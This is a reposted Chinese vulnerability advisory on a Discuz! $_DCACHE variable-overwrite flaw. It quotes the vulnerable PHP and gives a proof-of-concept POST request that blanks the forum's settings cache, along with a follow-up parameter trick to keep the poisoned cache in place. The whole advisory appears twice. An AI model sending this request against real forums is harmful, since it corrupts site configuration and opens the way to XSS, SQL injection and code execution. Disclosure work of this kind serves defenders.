Discuz! $_DCACHE数组变量覆盖漏洞
生活随笔
收集整理的這篇文章主要介紹了
Discuz! $_DCACHE数组变量覆盖漏洞
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
Discuz! $_DCACHE數組變量覆蓋漏洞
author: ryat_at_[url]www.wolvez.org[/url]
team:[url]http://www.80vul.com[/url]
由于Discuz! 的wap\index.php調用Chinese類里Convert方法在處理post數據時不當忽視對數組的處理,可使數組被覆蓋為NULL.當覆蓋$_DCACHE時導致導致xss sql注射 代碼執行等眾多嚴重的安全問題.
一 分析
/wap/index.php
//43行
$chs = '';
if($_POST && $charset != 'utf-8') {
??? $chs = new Chinese('UTF-8', $charset);
??? foreach($_POST as $key => $value) {
??? ??? $$key = addslashes(stripslashes($chs->Convert($$key)));
??? }
??? unset($chs);
}
...
if(in_array($action, array('home', 'login', 'register', 'search', 'stats', 'my', 'myphone', 'goto', 'forum', 'thread', 'post'))) {
??? require_once './include/'.$action.'.inc.php';
這個地方是對非utf-8編碼下的數據進行編碼轉換,但Convert方法有一個問題,如果存在iconv()將會用此函數進行編碼轉換,這時如果傳遞進來的參數是一個數組,將會返回FALSE,那么POST提交一個_DCACHE=1,經過Convert()處理$_DCACHE就會被覆蓋為NULL[再經過stripslashes()或者addslashes()處理會被覆蓋為一個空的字符串]:)
/wap/include/register.inc.php
//124行
??? require_once DISCUZ_ROOT.'./include/cache.func.php';
??? $_DCACHE['settings']['totalmembers']++;
??? $_DCACHE['settings']['lastmember'] = $discuz_userss;
??? updatesettings();
???
這個地方是注冊用戶后更新緩存數據,再來看看updatesettings()是怎么處理的:
include/cache.func.php
//252行
function updatesettings() {
??? global $_DCACHE;
??? if(isset($_DCACHE['settings']) && is_array($_DCACHE['settings'])) {
??? ??? writetocache('settings', '', '$_DCACHE[\'settings\'] = '.arrayeval($_DCACHE['settings']).";\n\n");
??? }
}
可以看到這個地方寫入的是$GLOBALS[_DCACHE],我們可以在注冊時用上面提到的方法把$_DCACHE覆蓋為一個空字符串,然后經過上面代碼的重新賦值及更新緩存,最后寫入forumdata/cache/cache_settings.php的將僅僅只有$_DCACHE['settings']['totalmembers']和$_DCACHE['settings']['lastmember']:)
include/common.inc.php
//95行:
$cachelost = (@include DISCUZ_ROOT.'./forumdata/cache/cache_settings.php') ? '' : 'settings';
@extract($_DCACHE['settings']);
...
$styleid = intval(!empty($_GET['styleid']) ? $_GET['styleid'] :
??? ??? (!empty($_POST['styleid']) ? $_POST['styleid'] :
??? ??? (!empty($_DSESSION['styleid']) ? $_DSESSION['styleid'] :
??? ??? $_DCACHE['settings']['styleid'])));
$styleid = intval(isset($stylejump[$styleid]) ? $styleid : $_DCACHE['settings']['styleid']);
if(@!include DISCUZ_ROOT.'./forumdata/cache/style_'.intval(!empty($forum['styleid']) ? $forum['styleid'] : $styleid).'.php') {
??? $cachelost .= (@include DISCUZ_ROOT.'./forumdata/cache/style_'.($styleid = $_DCACHE['settings']['styleid']).'.php') ? '' : ' style_'.$styleid;
}
這里用extract處理了$_DCACHE['settings'],但由于此時包含的forumdata/cache/cache_settings.php文件中僅僅存在$_DCACHE['settings']['totalmembers']和$_DCACHE['settings']['lastmember'],將導致大量的變量沒有初始化,而此部分變量在整個程序中起到了重要作用,但現在我們可以隨意提交這些變量,這將導致xss,sql注射,命令執行等眾多嚴重的安全問題:)
另外要注意$styleid可能會導致重新更新緩存文件,可以提交stylejump[1]=1&styleid=1&inajax=1,這樣就不會再次更新緩存,forumdata/cache/cache_settings.php里依然是我們wap注冊時寫入的數據:)
PS:WAP用戶注冊默認并不開啟
二 利用
Poc:
POST [url]http://127.0.0.1/dz/wap/index.php?action=register[/url] HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Referer: [url]http://127.0.0.1/dz/wap/index.php[/url]
Content-Type: application/x-www-form-urlencoded
User-Agent: Opera/9.62 (X11; Linux i686; U; zh-cn) Presto/2.1.1
Host: 127.0.0.1
Connection: close
Content-Length: 66
username=ryat&password=123456&email=ryat@ryat.com&_DCACHE=1
D:\>type Discuz_7_Beta_SC_GBK\upload\forumdata\cache\cache_settings.php
<?php
//Discuz! cache file, DO NOT modify me!
//Created: Nov 6, 2008, 22:27
//Identify: 1b0cb6a8551131fb818dc6fe54e9cad0
$_DCACHE['settings'] = array (
? 'totalmembers' => 1,
? 'lastmember' => 'ryat',
);
?>
author: ryat_at_[url]www.wolvez.org[/url]
team:[url]http://www.80vul.com[/url]
由于Discuz! 的wap\index.php調用Chinese類里Convert方法在處理post數據時不當忽視對數組的處理,可使數組被覆蓋為NULL.當覆蓋$_DCACHE時導致導致xss sql注射 代碼執行等眾多嚴重的安全問題.
一 分析
/wap/index.php
//43行
$chs = '';
if($_POST && $charset != 'utf-8') {
??? $chs = new Chinese('UTF-8', $charset);
??? foreach($_POST as $key => $value) {
??? ??? $$key = addslashes(stripslashes($chs->Convert($$key)));
??? }
??? unset($chs);
}
...
if(in_array($action, array('home', 'login', 'register', 'search', 'stats', 'my', 'myphone', 'goto', 'forum', 'thread', 'post'))) {
??? require_once './include/'.$action.'.inc.php';
這個地方是對非utf-8編碼下的數據進行編碼轉換,但Convert方法有一個問題,如果存在iconv()將會用此函數進行編碼轉換,這時如果傳遞進來的參數是一個數組,將會返回FALSE,那么POST提交一個_DCACHE=1,經過Convert()處理$_DCACHE就會被覆蓋為NULL[再經過stripslashes()或者addslashes()處理會被覆蓋為一個空的字符串]:)
/wap/include/register.inc.php
//124行
??? require_once DISCUZ_ROOT.'./include/cache.func.php';
??? $_DCACHE['settings']['totalmembers']++;
??? $_DCACHE['settings']['lastmember'] = $discuz_userss;
??? updatesettings();
???
這個地方是注冊用戶后更新緩存數據,再來看看updatesettings()是怎么處理的:
include/cache.func.php
//252行
function updatesettings() {
??? global $_DCACHE;
??? if(isset($_DCACHE['settings']) && is_array($_DCACHE['settings'])) {
??? ??? writetocache('settings', '', '$_DCACHE[\'settings\'] = '.arrayeval($_DCACHE['settings']).";\n\n");
??? }
}
可以看到這個地方寫入的是$GLOBALS[_DCACHE],我們可以在注冊時用上面提到的方法把$_DCACHE覆蓋為一個空字符串,然后經過上面代碼的重新賦值及更新緩存,最后寫入forumdata/cache/cache_settings.php的將僅僅只有$_DCACHE['settings']['totalmembers']和$_DCACHE['settings']['lastmember']:)
include/common.inc.php
//95行:
$cachelost = (@include DISCUZ_ROOT.'./forumdata/cache/cache_settings.php') ? '' : 'settings';
@extract($_DCACHE['settings']);
...
$styleid = intval(!empty($_GET['styleid']) ? $_GET['styleid'] :
??? ??? (!empty($_POST['styleid']) ? $_POST['styleid'] :
??? ??? (!empty($_DSESSION['styleid']) ? $_DSESSION['styleid'] :
??? ??? $_DCACHE['settings']['styleid'])));
$styleid = intval(isset($stylejump[$styleid]) ? $styleid : $_DCACHE['settings']['styleid']);
if(@!include DISCUZ_ROOT.'./forumdata/cache/style_'.intval(!empty($forum['styleid']) ? $forum['styleid'] : $styleid).'.php') {
??? $cachelost .= (@include DISCUZ_ROOT.'./forumdata/cache/style_'.($styleid = $_DCACHE['settings']['styleid']).'.php') ? '' : ' style_'.$styleid;
}
這里用extract處理了$_DCACHE['settings'],但由于此時包含的forumdata/cache/cache_settings.php文件中僅僅存在$_DCACHE['settings']['totalmembers']和$_DCACHE['settings']['lastmember'],將導致大量的變量沒有初始化,而此部分變量在整個程序中起到了重要作用,但現在我們可以隨意提交這些變量,這將導致xss,sql注射,命令執行等眾多嚴重的安全問題:)
另外要注意$styleid可能會導致重新更新緩存文件,可以提交stylejump[1]=1&styleid=1&inajax=1,這樣就不會再次更新緩存,forumdata/cache/cache_settings.php里依然是我們wap注冊時寫入的數據:)
PS:WAP用戶注冊默認并不開啟
二 利用
Poc:
POST [url]http://127.0.0.1/dz/wap/index.php?action=register[/url] HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Referer: [url]http://127.0.0.1/dz/wap/index.php[/url]
Content-Type: application/x-www-form-urlencoded
User-Agent: Opera/9.62 (X11; Linux i686; U; zh-cn) Presto/2.1.1
Host: 127.0.0.1
Connection: close
Content-Length: 66
username=ryat&password=123456&email=ryat@ryat.com&_DCACHE=1
D:\>type Discuz_7_Beta_SC_GBK\upload\forumdata\cache\cache_settings.php
<?php
//Discuz! cache file, DO NOT modify me!
//Created: Nov 6, 2008, 22:27
//Identify: 1b0cb6a8551131fb818dc6fe54e9cad0
$_DCACHE['settings'] = array (
? 'totalmembers' => 1,
? 'lastmember' => 'ryat',
);
?>
總結
以上是生活随笔為你收集整理的Discuz! $_DCACHE数组变量覆盖漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 网络工程师如何发展
- 下一篇: 爱情麻辣烫防骗子—骗子谎称学生出事让家长